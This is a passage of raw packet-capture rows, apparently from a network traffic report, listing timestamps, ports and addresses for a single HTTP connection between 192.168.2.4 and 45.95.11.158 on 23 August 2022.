Aug 23, 2022 03:42:41.491835117 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491842031 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.491863966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.491899967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.492202044 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492228985 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492249966 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492265940 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492276907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.492326021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.492755890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492784023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492799997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492810965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492826939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492851019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492892981 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492913008 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.492919922 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.492997885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493000031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493021965 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493043900 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493073940 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493089914 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493124008 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493165970 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493217945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493257046 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493280888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493366957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493386030 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.493387938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493405104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.493424892 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518558025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518594980 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518611908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518625021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518634081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518642902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518661022 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518677950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518680096 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518691063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518713951 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518733025 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518767118 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518815041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518827915 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518837929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518860102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518865108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518887043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518901110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518927097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518959045 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518959999 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.518975973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518990040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.518990040 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519015074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519018888 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519023895 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519057989 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519094944 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519113064 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519125938 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519145966 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519171953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519234896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519254923 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519272089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519272089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519285917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519289017 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519304991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519320011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519448042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519484997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519484997 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519505978 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519517899 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519519091 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519542933 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519560099 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519761086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519807100 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519828081 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519841909 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519879103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519879103 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519911051 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519929886 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519948959 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519965887 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.519965887 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519979954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.519984961 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520004988 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520030975 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520129919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520163059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520184040 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520186901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520195961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520209074 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520230055 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520391941 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520452023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520462036 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520487070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520488977 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520503998 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520524979 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520558119 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520581961 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520602942 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520634890 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520637035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520648956 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520668030 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520692110 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520853996 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520893097 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520906925 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520914078 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520927906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.520937920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.520962000 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521017075 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521035910 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521051884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521066904 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521138906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521152973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521181107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521197081 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521502018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521524906 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521543980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521554947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521569014 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521584988 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.521603107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.521627903 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.522607088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.522638083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.522655964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.522665024 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.522669077 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.522700071 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.522730112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.524837971 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.524862051 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.524878025 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.524890900 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.524907112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.524931908 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.525116920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525136948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525155067 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.525172949 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525182009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.525187969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525222063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.525754929 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525779009 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525794983 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525810957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.525813103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.525849104 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526026964 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526047945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526067019 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526081085 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526089907 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526109934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526139021 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526415110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526434898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526453018 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526463985 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526464939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526485920 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526511908 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526515007 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526531935 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526549101 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526566029 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526576042 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526587963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526621103 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.526940107 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526983976 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.526999950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527012110 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527030945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527034998 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527049065 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527056932 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527066946 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527079105 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527084112 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527115107 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527122974 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527141094 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527152061 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527179003 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527182102 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527194023 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527209997 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527225018 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527378082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527399063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527417898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527432919 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527445078 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527488947 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527884960 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527910948 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527928114 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527945995 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527956963 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527965069 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527981043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.527982950 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.527998924 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528001070 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528014898 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528031111 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528034925 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528053999 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528054953 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528065920 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528079033 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528083086 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528100967 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528100967 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528120041 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528125048 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528134108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528150082 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528151035 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528167963 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528176069 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528187037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528198957 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528203011 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528215885 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528230906 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528244972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528249979 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528268099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528280973 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528299093 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528300047 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528316021 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528321028 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528333902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528346062 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528348923 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528362989 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528376102 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528379917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528394938 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528418064 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528449059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528475046 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528515100 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528522968 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528541088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528553009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528558969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528572083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528578043 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528593063 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528609991 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528610945 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528641939 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528654099 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528683901 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528712034 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528731108 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528742075 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528750896 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528768063 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528776884 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528783083 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528795958 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528799057 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528815031 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528817892 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528835058 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528841972 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528851986 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528867960 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528870106 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528886080 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528893948 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528898954 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528914928 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528919935 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528930902 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528947115 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528947115 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528959990 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.528963089 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.528989077 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550438881 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550468922 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550486088 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550498009 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550503969 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550515890 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550522089 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550523996 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550539017 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550539970 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550554037 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550555944 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550570011 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550570965 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550586939 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550590038 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550605059 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550606012 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550616980 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550620079 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550638914 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550653934 CEST	49743	80	192.168.2.4	45.95.11.158
Aug 23, 2022 03:42:41.550710917 CEST	80	49743	45.95.11.158	192.168.2.4
Aug 23, 2022 03:42:41.550745010 CEST	49743	80	192.168.2.4	45.95.11.158
